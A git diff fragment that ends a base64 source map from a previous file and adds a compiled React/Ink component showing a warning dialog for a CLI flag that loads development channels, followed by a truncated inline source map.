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
\ No newline at end of file
diff --git a/cc-haha/src/components/DevChannelsDialog.tsx b/cc-haha/src/components/DevChannelsDialog.tsx
new file mode 100644
index 0000000..5e68afb
--- /dev/null
+++ b/cc-haha/src/components/DevChannelsDialog.tsx
@@ -0,0 +1,105 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { useCallback } from 'react';
+import type { ChannelEntry } from '../bootstrap/state.js';
+import { Box, Text } from '../ink.js';
+import { gracefulShutdownSync } from '../utils/gracefulShutdown.js';
+import { Select } from './CustomSelect/index.js';
+import { Dialog } from './design-system/Dialog.js';
+type Props = {
+  channels: ChannelEntry[];
+  onAccept(): void;
+};
+export function DevChannelsDialog(t0) {
+  const $ = _c(14);
+  const {
+    channels,
+    onAccept
+  } = t0;
+  let t1;
+  if ($[0] !== onAccept) {
+    t1 = function onChange(value) {
+      bb2: switch (value) {
+        case "accept":
+          {
+            onAccept();
+            break bb2;
+          }
+        case "exit":
+          {
+            gracefulShutdownSync(1);
+          }
+      }
+    };
+    $[0] = onAccept;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const onChange = t1;
+  const handleEscape = _temp;
+  let t2;
+  let t3;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = <Text>--dangerously-load-development-channels is for local channel development only. Do not use this option to run channels you have downloaded off the internet.</Text>;
+    t3 = <Text>Please use --channels to run a list of approved channels.</Text>;
+    $[2] = t2;
+    $[3] = t3;
+  } else {
+    t2 = $[2];
+    t3 = $[3];
+  }
+  let t4;
+  if ($[4] !== channels) {
+    t4 = channels.map(_temp2).join(", ");
+    $[4] = channels;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  let t5;
+  if ($[6] !== t4) {
+    t5 = <Box flexDirection="column" gap={1}>{t2}{t3}<Text dimColor={true}>Channels:{" "}{t4}</Text></Box>;
+    $[6] = t4;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  let t6;
+  if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
+    t6 = [{
+      label: "I am using this for local development",
+      value: "accept"
+    }, {
+      label: "Exit",
+      value: "exit"
+    }];
+    $[8] = t6;
+  } else {
+    t6 = $[8];
+  }
+  let t7;
+  if ($[9] !== onChange) {
+    t7 = <Select options={t6} onChange={value_0 => onChange(value_0 as 'accept' | 'exit')} />;
+    $[9] = onChange;
+    $[10] = t7;
+  } else {
+    t7 = $[10];
+  }
+  let t8;
+  if ($[11] !== t5 || $[12] !== t7) {
+    t8 = <Dialog title="WARNING: Loading development channels" color="error" onCancel={handleEscape}>{t5}{t7}</Dialog>;
+    $[11] = t5;
+    $[12] = t7;
+    $[13] = t8;
+  } else {
+    t8 = $[13];
+  }
+  return t8;
+}
+function _temp2(c) {
+  return c.kind === "plugin" ? `plugin:${c.name}@${c.marketplace}` : `server:${c.name}`;
+}
+function _temp() {
+  gracefulShutdownSync(0);
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInVzZUNhbGxiYWNrIiwiQ2hhbm5lbEVudHJ5IiwiQm94IiwiVGV4dCIsImdyYWNlZnVsU2h1dGRvd25TeW5jIiwiU2VsZWN0IiwiRGlhbG9nIiwiUHJvcHMiLCJjaGFubmVscyIsIm9uQWNjZXB0IiwiRGV2Q2hhbm5lbHNEaWFsb2ciLCJ0MCIsIiQiLCJfYyIsInQxIiwib25DaGFuZ2UiLCJ2YWx1ZSIsImJiMiIsImhhbmRsZUVzY2FwZSIsIl90ZW1wIiwidDIiLCJ0MyIsIlN5bWJvbCIsImZvciIsInQ0IiwibWFwIiwiX3RlbXAyIiwiam9pbiIsInQ1IiwidDYiLCJsYWJlbCIsInQ3IiwidmFsdWVfMCIsInQ4IiwiYyIsImtpbmQiLCJuYW1lIiwibWFya2V0cGxhY2UiXSwic291cmNlcyI6WyJEZXZDaGFubmVsc0RpYWxvZy50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IFJlYWN0LCB7IHVzZUNhbGxiYWNrIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IENoYW5uZWxFbnRyeSB9IGZyb20gJy4uL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB7IEJveCwgVGV4dCB9IGZyb20gJy4uL2luay5qcydcbmltcG9ydCB7IGdyYWNlZnVsU2h1dGRvd25TeW5jIH0gZnJvbSAnLi4vdXRpbHMvZ3JhY2VmdWxTaHV0ZG93bi5qcydcbmltcG9ydCB7IFNlbGVjdCB9IGZyb20gJy4vQ3VzdG9tU2VsZWN0L2luZGV4LmpzJ1xuaW1wb3J0IHsgRGlhbG9nIH0gZnJvbSAnLi9kZXNpZ24tc3lzdGVtL0RpYWxvZy5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgY2hhbm5lbHM6IENoYW5uZWxFbnRyeVtdXG4gIG9uQWNjZXB0KCk6IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIERldkNoYW5uZWxzRGlhbG9nKHtcbiAgY2hhbm5lbHMsXG4gIG9uQWNjZXB0LFxufTogUHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBmdW5jdGlvbiBvbkNoYW5nZSh2YWx1ZTogJ2FjY2VwdCcgfCAnZXhpdCcpIHtcbiAgICBzd2l0Y2ggKHZhbHVlKSB7XG4gICAgICBjYXNlICdhY2NlcHQnOlxuICAgICAgICBvbkFjY2VwdCgpXG4gICAgICAgIGJyZWFrXG4gICAgICBjYXNlICdleGl0JzpcbiAgICAgICAgZ3JhY2VmdWxTaHV0ZG93blN5bmMoMSlcbiAgICAgICAgYnJlYWtcbiAgICB9XG4gIH1cblxuICBjb25zdCBoYW5kbGVFc2NhcGUgPSB1c2VDYWxsYmFjaygoKSA9PiB7XG4gICAgZ3JhY2VmdWxTaHV0ZG93blN5bmMoMClcbiAgfSwgW10pXG5cbiAgcmV0dXJuIChcbiAgICA8RGlhbG9nXG4gICAgICB0aXRsZT1cIldBUk5JTkc6IExvYWRpbmcgZGV2ZWxvcG1lbnQgY2hhbm5lbHNcIlxuICAgICAgY29sb3I9XCJlcnJvclwiXG4gICAgICBvbkNhbmNlbD17aGFuZGxlRXNjYXBlfVxuICAgID5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiIGdhcD17MX0+XG4gICAgICAgIDxUZXh0PlxuICAgICAgICAgIC0tZGFuZ2Vyb3VzbHktbG9hZC1kZXZlbG9wbWVudC1jaGFubmVscyBpcyBmb3IgbG9jYWwgY2hhbm5lbFxuICAgICAgICAgIGRldmVsb3BtZW50IG9ubHkuIERvIG5vdCB1c2UgdGhpcyBvcHRpb24gdG8gcnVuIGNoYW5uZWxzIHlvdSBoYXZlXG4gICAgICAgICAgZG93bmxvYWRlZCBvZmYgdGhlIGludGVybmV0LlxuICAgICAgICA8L1RleHQ+XG4gICAgICAgIDxUZXh0PlBsZWFzZSB1c2UgLS1jaGFubmVscyB0byBydW4gYSBsaXN0IG9mIGFwcHJvdmVkIGNoYW5uZWxzLjwvVGV4dD5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgQ2hhbm5lbHM6eycgJ31cbiAgICAgICAgICB7Y2hhbm5lbHNcbiAgICAgICAgICAgIC5tYXAoYyA9PlxuICAgICAgICAgICAgICBjLmtpbmQgPT09ICdwbHVnaW4nXG4gICAgICAgICAgICAgICAgPyBgcGx1Z2luOiR7Yy5uYW1lfUAke2MubWFya2V0cGxhY2V9YFxuICAgICAgICAgICAgICAgIDogYHNlcnZlcjoke2MubmFtZX1gLFxuICAgICAgICAgICAgKVxuICAgICAgICAgICAgLmpvaW4oJywgJyl9XG4gICAgICAgIDwvVGV4dD5cbiAgICAgIDwvQm94PlxuXG4gICAgICA8U2VsZWN0XG4gICAgICAgIG9wdGlvbnM9e1tcbiAgICAgICAgICB7IGxhYmVsOiAnSSBhbSB1c2luZyB0aGlzIGZvciBsb2NhbCBkZXZlbG9wbWVudCcsIHZhbHVlOiAnYWNjZXB0JyB9LFxuICAgICAgICAgIHsgbGFiZWw6ICdFeGl0JywgdmFsdWU6ICdleGl0JyB9LFxuICAgICAgICBdfVxuICAgICAgICBvbkNoYW5nZT17dmFsdWUgPT4gb25DaGFuZ2UodmFsdWUgYXMgJ2FjY2VwdCcgfCAnZXhpdCcpfVxuICAgICAgLz5cbiAgICA8L0RpYWxvZz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxJQUFJQyxXQUFXLFFBQVEsT0FBTztBQUMxQyxjQUFjQyxZQUFZLFFBQVEsdUJBQXVCO0FBQ3pELFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLFdBQVc7QUFDckMsU0FBU0Msb0JBQW9CLFFBQVEsOEJBQThCO0FBQ25FLFNBQVNDLE1BQU0sUUF